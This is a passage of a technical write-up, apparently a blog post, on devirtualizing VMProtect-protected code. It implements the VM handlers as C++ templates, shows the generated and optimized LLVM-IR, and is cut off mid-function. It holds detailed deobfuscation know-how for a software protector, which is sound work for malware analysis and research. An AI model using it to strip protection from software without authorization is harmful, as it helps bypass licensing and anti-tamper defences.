define i64 @HelperFunction(i64* noalias nonnull align 8 dereferenceable(8) %rax, i64* noalias nonnull align 8 dereferenceable(8) %rbx, i64* noalias nonnull align 8 dereferenceable(8) %rcx, i64* noalias nonnull align 8 dereferenceable(8) %rdx, i64* noalias nonnull align 8 dereferenceable(8) %rsi, i64* noalias nonnull align 8 dereferenceable(8) %rdi, i64* noalias nonnull align 8 dereferenceable(8) %rbp, i64* noalias nonnull align 8 dereferenceable(8) %rsp, i64* noalias nonnull align 8 dereferenceable(8) %r8, i64* noalias nonnull align 8 dereferenceable(8) %r9, i64* noalias nonnull align 8 dereferenceable(8) %r10, i64* noalias nonnull align 8 dereferenceable(8) %r11, i64* noalias nonnull align 8 dereferenceable(8) %r12, i64* noalias nonnull align 8 dereferenceable(8) %r13, i64* noalias nonnull align 8 dereferenceable(8) %r14, i64* noalias nonnull align 8 dereferenceable(8) %r15, i64* noalias nonnull align 8 dereferenceable(8) %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 %REL_ADDR) local_unnamed_addr {
entry:
%vmregs = alloca [30 x %struct.VirtualRegister], align 16
%slots = alloca [30 x i64], align 16
%vip = alloca i64, align 8
%0 = bitcast [30 x %struct.VirtualRegister]* %vmregs to i8*
call void @llvm.memset.p0i8.i64(i8* nonnull align 16 dereferenceable(240) %0, i8 0, i64 240, i1 false)
%1 = bitcast [30 x i64]* %slots to i8*
call void @llvm.memset.p0i8.i64(i8* nonnull align 16 dereferenceable(240) %1, i8 0, i64 240, i1 false)
%2 = bitcast i64* %vip to i8*
store i64 0, i64* %vip, align 8
%arraydecay = getelementptr inbounds [30 x %struct.VirtualRegister], [30 x %struct.VirtualRegister]* %vmregs, i64 0, i64 0
%arraydecay1 = getelementptr inbounds [30 x i64], [30 x i64]* %slots, i64 0, i64 0
%call = call i64 @HelperStub(i64* nonnull align 8 dereferenceable(8) %rax, i64* nonnull align 8 dereferenceable(8) %rbx, i64* nonnull align 8 dereferenceable(8) %rcx, i64* nonnull align 8 dereferenceable(8) %rdx, i64* nonnull align 8 dereferenceable(8) %rsi, i64* nonnull align 8 dereferenceable(8) %rdi, i64* nonnull align 8 dereferenceable(8) %rbp, i64* nonnull align 8 dereferenceable(8) %rsp, i64* nonnull align 8 dereferenceable(8) %r8, i64* nonnull align 8 dereferenceable(8) %r9, i64* nonnull align 8 dereferenceable(8) %r10, i64* nonnull align 8 dereferenceable(8) %r11, i64* nonnull align 8 dereferenceable(8) %r12, i64* nonnull align 8 dereferenceable(8) %r13, i64* nonnull align 8 dereferenceable(8) %r14, i64* nonnull align 8 dereferenceable(8) %r15, i64* nonnull align 8 dereferenceable(8) %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 0, i64* nonnull align 8 dereferenceable(8) %rsp, i64* nonnull align 8 dereferenceable(8) %vip, %struct.VirtualRegister* nonnull %arraydecay, i64* nonnull %arraydecay1)
ret i64 %call
}
We can now move on to the implementation of the semantics of the handlers used by VMProtect. As mentioned before, implementing them directly at the LLVM-IR level can be a tedious task, so we’ll proceed with the same C++ to LLVM-IR logic adopted in the previous section.
The following selection of handlers should give an idea of the logic adopted to implement the handlers’ semantics.
To access the stack using the push operation, we define a templated helper function that takes the virtual stack pointer and value to push as parameters.
template <typename T> __attribute__((always_inline)) void STACK_PUSH(size_t &vsp, T value) {
// Update the stack pointer
vsp -= sizeof(T);
// Store the value
std::memcpy(&RAM[vsp], &value, sizeof(T));
}
We can see that the virtual stack pointer is decremented using the byte size of the template parameter. Then we proceed to use the std::memcpy
function to execute a safe type punning store operation accessing the RAM
array with the virtual stack pointer as index. The C++ implementation is compiled with -O3
optimizations, so the function will be inlined (as expected from the always_inline
attribute) and the std::memcpy
call will be converted to the proper pointer type cast and store instructions.
As expected, also the stack pop operation is defined as a templated helper function that takes the virtual stack pointer as parameter and returns the popped value as output.
template <typename T> __attribute__((always_inline)) T STACK_POP(size_t &vsp) {
// Fetch the value
T value = 0;
std::memcpy(&value, &RAM[vsp], sizeof(T));
// Undefine the stack slot
T undef = UNDEF<T>();
std::memcpy(&RAM[vsp], &undef, sizeof(T));
// Update the stack pointer
vsp += sizeof(T);
// Return the value
return value;
}
We can see that the value is read from the stack using the same std::memcpy
logic explained above, an undefined value is written to the current stack slot and the virtual stack pointer is incremented using the byte size of the template parameter. As in the previous case, the -O3
optimizations will take care of inlining and lowering the std::memcpy
call.
Being a stack machine, we know that it is going to pop the two input operands from the top of the stack, add them together, calculate the updated flags and push the result and the flags back to the stack. There are four variations of the addition handler, meant to handle 8/16/32/64 bits operands, with the peculiarity that the 8 bits case is really popping 16 bits per operand off the stack and pushing a 16 bits result back to the stack to be consistent with the x64 push/pop alignment rules.
From what we just described the only thing we need is the virtual stack pointer, to be able to access the stack.
// ADD semantic
template <typename T>
__attribute__((always_inline))
__attribute__((const))
bool AF(T lhs, T rhs, T res) {
return AuxCarryFlag(lhs, rhs, res);
}
template <typename T>
__attribute__((always_inline))
__attribute__((const))
bool PF(T res) {
return ParityFlag(res);
}
template <typename T>
__attribute__((always_inline))
__attribute__((const))
bool ZF(T res) {
return ZeroFlag(res);
}
template <typename T>
__attribute__((always_inline))
__attribute__((const))
bool SF(T res) {
return SignFlag(res);
}
template <typename T>
__attribute__((always_inline))
__attribute__((const))
bool CF_ADD(T lhs, T rhs, T res) {
return Carry<tag_add>::Flag(lhs, rhs, res);
}
template <typename T>
__attribute__((always_inline))
__attribute__((const))
bool OF_ADD(T lhs, T rhs, T res) {
return Overflow<tag_add>::Flag(lhs, rhs, res);
}
template <typename T>
__attribute__((always_inline))
void ADD_FLAGS(size_t &flags, T lhs, T rhs, T res) {
// Calculate the flags
bool cf = CF_ADD(lhs, rhs, res);
bool pf = PF(res);
bool af = AF(lhs, rhs, res);
bool zf = ZF(res);
bool sf = SF(res);
bool of = OF_ADD(lhs, rhs, res);
// Update the flags
UPDATE_EFLAGS(flags, cf, pf, af, zf, sf, of);
}
template <typename T>
__attribute__((always_inline))
void ADD(size_t &vsp) {
// Check if it's 'byte' size
bool isByte = (sizeof(T) == 1);
// Initialize the operands
T op1 = 0;
T op2 = 0;
// Fetch the operands
if (isByte) {
op1 = Trunc(STACK_POP<uint16_t>(vsp));
op2 = Trunc(STACK_POP<uint16_t>(vsp));
} else {
op1 = STACK_POP<T>(vsp);
op2 = STACK_POP<T>(vsp);
}
// Calculate the add
T res = UAdd(op1, op2);
// Calculate the flags
size_t flags = 0;
ADD_FLAGS(flags, op1, op2, res);
// Save the result
if (isByte) {
STACK_PUSH<uint16_t>(vsp, ZExt(res));
} else {
STACK_PUSH<T>(vsp, res);
}
// 7. Save the flags
STACK_PUSH<size_t>(vsp, flags);
}
DEFINE_SEMANTIC_64(ADD_64) = ADD<uint64_t>;
DEFINE_SEMANTIC(ADD_32) = ADD<uint32_t>;
DEFINE_SEMANTIC(ADD_16) = ADD<uint16_t>;
DEFINE_SEMANTIC(ADD_8) = ADD<uint8_t>;
We can see that the function definition is templated with a T
parameter that is internally used to generate the properly-sized stack accesses executed by the STACK_PUSH
and STACK_POP
helpers defined above. Additionally we are taking care of truncating and zero extending the special 8 bits case. Finally, after the unsigned addition took place, we rely on Remill’s semantically proven flag computations to calculate the fresh flags before pushing them to the stack.
The other binary and arithmetic operations are implemented following the same structure, with the correct operands access and flag computations.
This handler is meant to fetch the value stored in a VmRegister
and push it to the stack. The value can also be a sub-chunk of the virtual register, not necessarily starting from the base of the VmRegister
slot. Therefore the function arguments are going to be the virtual stack pointer and the value of the VmRegister
. The template is additionally defining the size of the pushed value and the offset from the VmRegister
slot base.
template <size_t Size, size_t Offset>
__attribute__((always_inline)) void PUSH_VMREG(size_t &vsp, VirtualRegister vmreg) {
// Update the stack pointer
vsp -= ((Size != 8) ? (Size / 8) : ((Size / 8) * 2));
// Select the proper element of the virtual register
if constexpr (Size == 64) {
std::memcpy(&RAM[vsp], &vmreg.qword, sizeof(uint64_t));
} else if constexpr (Size == 32) {
if constexpr (Offset == 0) {
std::memcpy(&RAM[vsp], &vmreg.dword.d0, sizeof(uint32_t));
} else if constexpr (Offset == 1) {
std::memcpy(&RAM[vsp], &vmreg.dword.d1, sizeof(uint32_t));
}
} else if constexpr (Size == 16) {
if constexpr (Offset == 0) {
std::memcpy(&RAM[vsp], &vmreg.word.w0, sizeof(uint16_t));
} else if constexpr (Offset == 1) {
std::memcpy(&RAM[vsp], &vmreg.word.w1, sizeof(uint16_t));
} else if constexpr (Offset == 2) {
std::memcpy(&RAM[vsp], &vmreg.word.w2, sizeof(uint16_t));
} else if constexpr (Offset == 3) {
std::memcpy(&RAM[vsp], &vmreg.word.w3, sizeof(uint16_t));
}
} else if constexpr (Size == 8) {
if constexpr (Offset == 0) {
uint16_t byte = ZExt(vmreg.byte.b0);
std::memcpy(&RAM[vsp], &byte, sizeof(uint16_t));
} else if constexpr (Offset == 1) {
uint16_t byte = ZExt(vmreg.byte.b1);
std::memcpy(&RAM[vsp], &byte, sizeof(uint16_t));
}
// NOTE: there might be other offsets here, but they were not observed
}
}
DEFINE_SEMANTIC(PUSH_VMREG_8_LOW) = PUSH_VMREG<8, 0>;
DEFINE_SEMANTIC(PUSH_VMREG_8_HIGH) = PUSH_VMREG<8, 1>;
DEFINE_SEMANTIC(PUSH_VMREG_16_LOWLOW) = PUSH_VMREG<16, 0>;
DEFINE_SEMANTIC(PUSH_VMREG_16_LOWHIGH) = PUSH_VMREG<16, 1>;
DEFINE_SEMANTIC_64(PUSH_VMREG_16_HIGHLOW) = PUSH_VMREG<16, 2>;
DEFINE_SEMANTIC_64(PUSH_VMREG_16_HIGHHIGH) = PUSH_VMREG<16, 3>;
DEFINE_SEMANTIC_64(PUSH_VMREG_32_LOW) = PUSH_VMREG<32, 0>;
DEFINE_SEMANTIC_32(POP_VMREG_32) = POP_VMREG<32, 0>;
DEFINE_SEMANTIC_64(PUSH_VMREG_32_HIGH) = PUSH_VMREG<32, 1>;
DEFINE_SEMANTIC_64(PUSH_VMREG_64) = PUSH_VMREG<64, 0>;
We can see how the proper VmRegister
sub-chunk is accessed based on the size and offset template parameters (e.g. vmreg.word.w1
, vmreg.qword
) and how once again the std::memcpy
is used to implement a safe memory write on the indexed RAM
array. The virtual stack pointer is also decremented as usual.
This handler is meant to pop a value from the stack and store it into a VmRegister
. The value can also be a sub-chunk of the virtual register, not necessarily starting from the base of the VmRegister
slot. Therefore the function arguments are going to be the virtual stack pointer and a reference to the VmRegister
to be updated. As before the template is defining the size of the popped value and the offset into the VmRegister
slot.
template <size_t Size, size_t Offset>
__attribute__((always_inline)) void POP_VMREG(size_t &vsp, VirtualRegister &vmreg) {
// Fetch and store the value on the virtual register
if constexpr (Size == 64) {
uint64_t value = 0;
std::memcpy(&value, &RAM[vsp], sizeof(uint64_t));
vmreg.qword = value;
} else if constexpr (Size == 32) {
if constexpr (Offset == 0) {
uint32_t value = 0;
std::memcpy(&value, &RAM[vsp], sizeof(uint32_t));
vmreg.qword = ((vmreg.qword & 0xFFFFFFFF00000000) | value);
} else if constexpr (Offset == 1) {
uint32_t value = 0;
std::memcpy(&value, &RAM[vsp], sizeof(uint32_t));
vmreg.qword = ((vmreg.qword & 0x00000000FFFFFFFF) | UShl(ZExt(value), 32));
}
} else if constexpr (Size == 16) {
if constexpr (Offset == 0) {
uint16_t value = 0;
std::memcpy(&value, &RAM[vsp], sizeof(uint16_t));
vmreg.qword = ((vmreg.qword & 0xFFFFFFFFFFFF0000) | value);
} else if constexpr (Offset == 1) {
uint16_t value = 0;
std::memcpy(&value, &RAM[vsp], sizeof(uint16_t));
vmreg.qword = ((vmreg.qword & 0xFFFFFFFF0000FFFF) | UShl(ZExtTo<uint64_t>(value), 16));
} else if constexpr (Offset == 2) {
uint16_t value = 0;
std::memcpy(&value, &RAM[vsp], sizeof(uint16_t));
vmreg.qword = ((vmreg.qword & 0xFFFF0000FFFFFFFF) | UShl(ZExtTo<uint64_t>(value), 32));
} else if constexpr (Offset == 3) {
uint16_t value = 0;
std::memcpy(&value, &RAM[vsp], sizeof(uint16_t));
vmreg.qword = ((vmreg.qword & 0x0000FFFFFFFFFFFF) | UShl(ZExtTo<uint64_t>(value), 48));
}
} else if constexpr (Size == 8) {
if constexpr (Offset == 0) {
uint16_t byte = 0;
std::memcpy(&byte, &RAM[vsp], sizeof(uint16_t));
vmreg.byte.b0 = Trunc(byte);
} else if constexpr (Offset == 1) {
uint16_t byte = 0;
std::memcpy(&byte, &RAM[vsp], sizeof(uint16_t));
vmreg.byte.b1 = Trunc(byte);
}
// NOTE: there might be other offsets here, but they were not observed
}
// Clear the value on the stack
if constexpr (Size == 64) {
uint64_t undef = UNDEF<uint64_t>();
std::memcpy(&RAM[vsp], &undef, sizeof(uint64_t));
} else if constexpr (Size == 32) {
uint32_t undef = UNDEF<uint32_t>();
std::memcpy(&RAM[vsp], &undef, sizeof(uint32_t));
} else if constexpr (Size == 16) {
uint16_t undef = UNDEF<uint16_t>();
std::memcpy(&RAM[vsp], &undef, sizeof(uint16_t));
} else if constexpr (Size == 8) {
uint16_t undef = UNDEF<uint16_t>();
std::memcpy(&RAM[vsp], &undef, sizeof(uint16_t));
}
// Update the stack pointer
vsp += ((Size != 8) ? (Size / 8) : ((Size / 8) * 2));
}
DEFINE_SEMANTIC(POP_VMREG_8_LOW) = POP_VMREG<8, 0>;
DEFINE_SEMANTIC(POP_VMREG_8_HIGH) = POP_VMREG<8, 1>;
DEFINE_SEMANTIC(POP_VMREG_16_LOWLOW) = POP_VMREG<16, 0>;
DEFINE_SEMANTIC(POP_VMREG_16_LOWHIGH) = POP_VMREG<16, 1>;
DEFINE_SEMANTIC_64(POP_VMREG_16_HIGHLOW) = POP_VMREG<16, 2>;
DEFINE_SEMANTIC_64(POP_VMREG_16_HIGHHIGH) = POP_VMREG<16, 3>;
DEFINE_SEMANTIC_64(POP_VMREG_32_LOW) = POP_VMREG<32, 0>;
DEFINE_SEMANTIC_64(POP_VMREG_32_HIGH) = POP_VMREG<32, 1>;
DEFINE_SEMANTIC_64(POP_VMREG_64) = POP_VMREG<64, 0>;
In this case we can see that the update operation on the sub-chunks of the VmRegister
is being done with some masking, shifting and zero extensions. This is to help LLVM with merging smaller integer values into a bigger integer value, whenever possible. As we saw in the STACK_POP
operation, we are writing an undefined value to the current stack slot. Finally we are incrementing the virtual stack pointer.
Generically speaking the LOAD
handler is meant to pop an address from the stack, dereference it to load a value from one of the program segments and push the retrieved value to the top of the stack.
The following C++ snippet shows the implementation of a memory load from a generic memory pointer (e.g. SS or DS segments) and from the GS segment:
template <typename T> __attribute__((always_inline)) void LOAD(size_t &vsp) {
// Check if it's 'byte' size
bool isByte = (sizeof(T) == 1);
// Pop the address
size_t address = STACK_POP<size_t>(vsp);
// Load the value
T value = 0;
std::memcpy(&value, &RAM[address], sizeof(T));
// Save the result
if (isByte) {
STACK_PUSH<uint16_t>(vsp, ZExt(value));
} else {
STACK_PUSH<T>(vsp, value);
}
}
DEFINE_SEMANTIC_64(LOAD_SS_64) = LOAD<uint64_t>;
DEFINE_SEMANTIC(LOAD_SS_32) = LOAD<uint32_t>;
DEFINE_SEMANTIC(LOAD_SS_16) = LOAD<uint16_t>;
DEFINE_SEMANTIC(LOAD_SS_8) = LOAD<uint8_t>;
DEFINE_SEMANTIC_64(LOAD_DS_64) = LOAD<uint64_t>;
DEFINE_SEMANTIC(LOAD_DS_32) = LOAD<uint32_t>;
DEFINE_SEMANTIC(LOAD_DS_16) = LOAD<uint16_t>;
DEFINE_SEMANTIC(LOAD_DS_8) = LOAD<uint8_t>;
template <typename T> __attribute__((always_inline)) void LOAD_GS(size_t &vsp) {
// Check if it's 'byte' size
bool isByte = (sizeof(T) == 1);
// Pop the address
size_t address = STACK_POP<size_t>(vsp);
// Load the value
T value = 0;
std::memcpy(&value, &GS[address], sizeof(T));
// Save the result
if (isByte) {
STACK_PUSH<uint16_t>(vsp, ZExt(value));
} else {
STACK_PUSH<T>(vsp, value);
}
}
DEFINE_SEMANTIC_64(LOAD_GS_64) = LOAD_GS<uint64_t>;
DEFINE_SEMANTIC(LOAD_GS_32) = LOAD_GS<uint32_t>;
DEFINE_SEMANTIC(LOAD_GS_16) = LOAD_GS<uint16_t>;
DEFINE_SEMANTIC(LOAD_GS_8) = LOAD_GS<uint8_t>;
By now the process should be clear. The only difference is the accessed zero-length array that will end up as base of the getelementptr
instruction, which will directly reflect on the aliasing information that LLVM will be able to infer. The same kind of logic is applied to all the read or write memory accesses to the different segments.
In the code snippets of this section you may have noticed three macros named DEFINE_SEMANTIC_64
, DEFINE_SEMANTIC_32
and DEFINE_SEMANTIC
. They are the umpteenth trick borrowed from Remill and are meant to generate global variables with unmangled names, pointing to the function definition of the specialized template handlers. As an example, the ADD
semantic definition for the 8/16/32/64 bits cases looks like this at the LLVM-IR level:
@SEM_ADD_64 = dso_local constant void (i64*)* @_Z3ADDIyEvRm, align 8
@SEM_ADD_32 = dso_local constant void (i64*)* @_Z3ADDIjEvRm, align 8
@SEM_ADD_16 = dso_local constant void (i64*)* @_Z3ADDItEvRm, align 8
@SEM_ADD_8 = dso_local constant void (i64*)* @_Z3ADDIhEvRm, align 8
In the code snippets of this section you may also have noticed the usage of a function called UNDEF
. This function is used to store a fictitious __undef
value after each pop from the stack. This is done to signal to LLVM that the popped value is no longer needed after being popped from the stack.
The __undef
value is modeled as a global variable, which during the first phase of the optimization pipeline will be used by passes like DSE to kill overlapping post-dominated dead stores and it’ll be replaced with a real undef value near the end of the optimization pipeline such that the related store instruction will be gone on the final optimized LLVM-IR function.
We now have a bunch of templates, structures and helper functions, but how do we actually end up lifting some virtualized code?
The high level idea is the following:
HelperStub
signature is generated;VmHandler
helper functions fed with the proper arguments (obtained from the HelperStub
parameters);always_inline
) and in the propagation of the values;VmRegisters
, VmPassingSlots
and stores to the segments is optimized, removing most of the obfuscation patterns used by VMProtect;A fictitious example of a full pipeline based on the HelperStub
function, implemented at the C++ level and optimized to obtain propagated LLVM-IR code follows:
extern "C" __attribute__((always_inline)) size_t SimpleExample_HelperStub(
rptr rax, rptr rbx, rptr rcx,
rptr rdx, rptr rsi, rptr rdi,
rptr rbp, rptr rsp, rptr r8,
rptr r9, rptr r10, rptr r11,
rptr r12, rptr r13, rptr r14,
rptr r15, rptr flags,
size_t KEY_STUB, size_t RET_ADDR, size_t REL_ADDR, rptr vsp,
rptr vip, VirtualRegister *__restrict__ vmregs,
size_t *__restrict__ slots) {
PUSH_REG(vsp, rax);
PUSH_REG(vsp, rbx);
POP_VMREG<64, 0>(vsp, vmregs[1]);
POP_VMREG<64, 0>(vsp, vmregs[0]);
PUSH_VMREG<64, 0>(vsp, vmregs[0]);
PUSH_VMREG<64, 0>(vsp, vmregs[1]);
ADD<uint64_t>(vsp);
POP_VMREG<64, 0>(vsp, vmregs[2]);
POP_VMREG<64, 0>(vsp, vmregs[3]);
PUSH_VMREG<64, 0>(vsp, vmregs[3]);
POP_REG(vsp, rax);
return vip;
}
The C++ HelperStub
function with calls to the handlers. This only serves as an example, normally the LLVM-IR for this is automatically generated from VM bytecode.
define dso_local i64 @SimpleExample_HelperStub(i64* noalias nonnull align 8 dereferenceable(8) %rax, i64* noalias nonnull align 8 dereferenceable(8) %rbx, i64* noalias nonnull align 8 dereferenceable(8) %rcx, i64* noalias nonnull align 8 dereferenceable(8) %rdx, i64* noalias nonnull align 8 dereferenceable(8) %rsi, i64* noalias nonnull align 8 dereferenceable(8) %rdi, i64* noalias nonnull align 8 dereferenceable(8) %rbp, i64* noalias nonnull align 8 dereferenceable(8) %rsp, i64* noalias nonnull align 8 dereferenceable(8) %r8, i64* noalias nonnull align 8 dereferenceable(8) %r9, i64* noalias nonnull align 8 dereferenceable(8) %r10, i64* noalias nonnull align 8 dereferenceable(8) %r11, i64* noalias nonnull align 8 dereferenceable(8) %r12, i64* noalias nonnull align 8 dereferenceable(8) %r13, i64* noalias nonnull align 8 dereferenceable(8) %r14, i64* noalias nonnull align 8 dereferenceable(8) %r15, i64* noalias nonnull align 8 dereferenceable(8) %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 %REL_ADDR, i64* noalias nonnull align 8 dereferenceable(8) %vsp, i64* noalias nonnull align 8 dereferenceable(8) %vip, %struct.VirtualRegister* noalias %vmregs, i64* noalias %slots) local_unnamed_addr {
entry:
%rax.addr = alloca i64*, align 8
%rbx.addr = alloca i64*, align 8
%rcx.addr = alloca i64*, align 8
%rdx.addr = alloca i64*, align 8
%rsi.addr = alloca i64*, align 8
%rdi.addr = alloca i64*, align 8
%rbp.addr = alloca i64*, align 8
%rsp.addr = alloca i64*, align 8
%r8.addr = alloca i64*, align 8
%r9.addr = alloca i64*, align 8
%r10.addr = alloca i64*, align 8
%r11.addr = alloca i64*, align 8
%r12.addr = alloca i64*, align 8
%r13.addr = alloca i64*, align 8
%r14.addr = alloca i64*, align 8
%r15.addr = alloca i64*, align 8
%flags.addr = alloca i64*, align 8
%KEY_STUB.addr = alloca i64, align 8
%RET_ADDR.addr = alloca i64, align 8
%REL_ADDR.addr = alloca i64, align 8
%vsp.addr = alloca i64*, align 8
%vip.addr = alloca i64*, align 8
%vmregs.addr = alloca %struct.VirtualRegister*, align 8
%slots.addr = alloca i64*, align 8
%agg.tmp = alloca %struct.VirtualRegister, align 1
%agg.tmp4 = alloca %struct.VirtualRegister, align 1
%agg.tmp10 = alloca %struct.VirtualRegister, align 1
store i64* %rax, i64** %rax.addr, align 8
store i64* %rbx, i64** %rbx.addr, align 8
store i64* %rcx, i64** %rcx.addr, align 8
store i64* %rdx, i64** %rdx.addr, align 8
store i64* %rsi, i64** %rsi.addr, align 8
store i64* %rdi, i64** %rdi.addr, align 8
store i64* %rbp, i64** %rbp.addr, align 8
store i64* %rsp, i64** %rsp.addr, align 8
store i64* %r8, i64** %r8.addr, align 8
store i64* %r9, i64** %r9.addr, align 8
store i64* %r10, i64** %r10.addr, align 8
store i64* %r11, i64** %r11.addr, align 8
store i64* %r12, i64** %r12.addr, align 8
store i64* %r13, i64** %r13.addr, align 8
store i64* %r14, i64** %r14.addr, align 8
store i64* %r15, i64** %r15.addr, align 8
store i64* %flags, i64** %flags.addr, align 8
store i64 %KEY_STUB, i64* %KEY_STUB.addr, align 8
store i64 %RET_ADDR, i64* %RET_ADDR.addr, align 8
store i64 %REL_ADDR, i64* %REL_ADDR.addr, align 8
store i64* %vsp, i64** %vsp.addr, align 8
store i64* %vip, i64** %vip.addr, align 8
store %struct.VirtualRegister* %vmregs, %struct.VirtualRegister** %vmregs.addr, align 8
store i64* %slots, i64** %slots.addr, align 8
%0 = load i64*, i64** %vsp.addr, align 8
%1 = load i64*, i64** %rax.addr, align 8
%2 = load i64, i64* %1, align 8
call void @_Z8PUSH_REGRmm(i64* nonnull align 8 dereferenceable(8) %0, i64 %2)
%3 = load i64*, i64** %vsp.addr, align 8
%4 = load i64*, i64** %rbx.addr, align 8
%5 = load i64, i64* %4, align 8
call void @_Z8PUSH_REGRmm(i64* nonnull align 8 dereferenceable(8) %3, i64 %5)
%6 = load i64*, i64** %vsp.addr, align 8
%7 = load %struct.VirtualRegister*, %struct.VirtualRegister** %vmregs.addr, align 8
%arrayidx = getelementptr inbounds %struct.VirtualRegister, %struct.VirtualRegister* %7, i64 1
call void @_Z9POP_VMREGILm64ELm0EEvRmR15VirtualRegister(i64* nonnull align 8 dereferenceable(8) %6, %struct.VirtualRegister* nonnull align 1 dereferenceable(8) %arrayidx)
%8 = load i64*, i64** %vsp.addr, align 8
%9 = load %struct.VirtualRegister*, %struct.VirtualRegister** %vmregs.addr, align 8
%arrayidx1 = getelementptr inbounds %struct.VirtualRegister, %struct.VirtualRegister* %9, i64 0
call void @_Z9POP_VMREGILm64ELm0EEvRmR15VirtualRegister(i64* nonnull align 8 dereferenceable(8) %8, %struct.VirtualRegister* nonnull align 1 dereferenceable(8) %arrayidx1)
%10 = load i64*, i64** %vsp.addr, align 8
%11 = load %struct.VirtualRegister*, %struct.VirtualRegister** %vmregs.addr, align 8
%arrayidx2 = getelementptr inbounds %struct.VirtualRegister, %struct.VirtualRegister* %11, i64 0
%12 = bitcast %struct.VirtualRegister* %agg.tmp to i8*
%13 = bitcast %struct.VirtualRegister* %arrayidx2 to i8*
call void @llvm.memcpy.p0i8.p0i8.i64(i8* align 1 %12, i8* align 1 %13, i64 8, i1 false)
%coerce.dive = getelementptr inbounds %struct.VirtualRegister, %struct.VirtualRegister* %agg.tmp, i32 0, i32 0
%coerce.dive3 = getelementptr inbounds %union.anon, %union.anon* %coerce.dive, i32 0, i32 0
%14 = load i64, i64* %coerce.dive3, align 1
call void @_Z10PUSH_VMREGILm64ELm0EEvRm15VirtualRegister(i64* nonnull align 8 dereferenceable(8) %10, i64 %14)
%15 = load i64*, i64** %vsp.addr, align 8
%16 = load %struct.VirtualRegister*, %struct.VirtualRegister** %vmregs.addr, align 8
%arrayidx5 = getelementptr inbounds %struct.VirtualRegister, %struct.VirtualRegister* %16, i64 1
%17 = bitcast %struct.VirtualRegister* %agg.tmp4 to i8*
%18 = bitcast %struct.VirtualRegister* %arrayidx5 to i8*
call void @llvm.memcpy.p0i8.p0i8.i64(i8* align 1 %17, i8* align 1 %18, i64 8, i1 false)
%coerce.dive6 = getelementptr inbounds %struct.VirtualRegister, %struct.VirtualRegister* %agg.tmp4, i32 0, i32 0
%coerce.dive7 = getelementptr inbounds %union.anon, %union.anon* %coerce.dive6, i32 0, i32 0
%19 = load i64, i64* %coerce.dive7, align 1
call void @_Z10PUSH_VMREGILm64ELm0EEvRm15VirtualRegister(i64* nonnull align 8 dereferenceable(8) %15, i64 %19)
%20 = load i64*, i64** %vsp.addr, align 8
call void @_Z3ADDIyEvRm(i64* nonnull align 8 dereferenceable(8) %20)
%21 = load i64*, i64** %vsp.addr, align 8
%22 = load %struct.VirtualRegister*, %struct.VirtualRegister** %vmregs.addr, align 8
%arrayidx8 = getelementptr inbounds %struct.VirtualRegister, %struct.VirtualRegister* %22, i64 2
call void @_Z9POP_VMREGILm64ELm0EEvRmR15VirtualRegister(i64* nonnull align 8 dereferenceable(8) %21, %struct.VirtualRegister* nonnull align 1 dereferenceable(8) %arrayidx8)
%23 = load i64*, i64** %vsp.addr, align 8
%24 = load %struct.VirtualRegister*, %struct.VirtualRegister** %vmregs.addr, align 8
%arrayidx9 = getelementptr inbounds %struct.VirtualRegister, %struct.VirtualRegister* %24, i64 3
call void @_Z9POP_VMREGILm64ELm0EEvRmR15VirtualRegister(i64* nonnull align 8 dereferenceable(8) %23, %struct.VirtualRegister* nonnull align 1 dereferenceable(8) %arrayidx9)
%25 = load i64*, i64** %vsp.addr, align 8
%26 = load %struct.VirtualRegister*, %struct.VirtualRegister** %vmregs.addr, align 8
%arrayidx11 = getelementptr inbounds %struct.VirtualRegister, %struct.VirtualRegister* %26, i64 3
%27 = bitcast %struct.VirtualRegister* %agg.tmp10 to i8*
%28 = bitcast %struct.VirtualRegister* %arrayidx11 to i8*
call void @llvm.memcpy.p0i8.p0i8.i64(i8* align 1 %27, i8* align 1 %28, i64 8, i1 false)
%coerce.dive12 = getelementptr inbounds %struct.VirtualRegister, %struct.VirtualRegister* %agg.tmp10, i32 0, i32 0
%coerce.dive13 = getelementptr inbounds %union.anon, %union.anon* %coerce.dive12, i32 0, i32 0
%29 = load i64, i64* %coerce.dive13, align 1
call void @_Z10PUSH_VMREGILm64ELm0EEvRm15VirtualRegister(i64* nonnull align 8 dereferenceable(8) %25, i64 %29)
%30 = load i64*, i64** %vsp.addr, align 8
%31 = load i64*, i64** %rax.addr, align 8
call void @_Z7POP_REGRmS_(i64* nonnull align 8 dereferenceable(8) %30, i64* nonnull align 8 dereferenceable(8) %31)
%32 = load i64*, i64** %vip.addr, align 8
%33 = load i64, i64* %32, align 8
ret i64 %33
}
The LLVM-IR compiled from the previous C++ HelperStub
function.
define dso_local i64 @SimpleExample_HelperStub(i64* noalias nocapture nonnull align 8 dereferenceable(8) %rax, i64* noalias nocapture nonnull readonly align 8 dereferenceable(8) %rbx, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %rcx, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %rdx, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %rsi, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %rdi, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %rbp, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %rsp, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r8, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r9, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r10, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r11, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r12, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r13, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r14, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %r15, i64* noalias nocapture nonnull readnone align 8 dereferenceable(8) %flags, i64 %KEY_STUB, i64 %RET_ADDR, i64 %REL_ADDR, i64* noalias nonnull align 8 dereferenceable(8) %vsp, i64* noalias nocapture nonnull readonly align 8 dereferenceable(8) %vip, %struct.VirtualRegister* noalias nocapture %vmregs, i64* noalias nocapture readnone %slots) local_unnamed_addr {
entry:
%0 = load i64, i64* %rax, align 8
%1 = load i64, i64* %vsp, align 8
%sub.i.i = add i64 %1, -8
%arrayidx.i.i = getelementptr inbounds [0 x i8], [0 x i8]* @RAM, i64 0, i64 %sub.i.i
%value.addr.0.arrayidx.sroa_cast.i.i = bitcast i8* %arrayidx.i.i to i64*
%2 = load i64, i64* %rbx, align 8
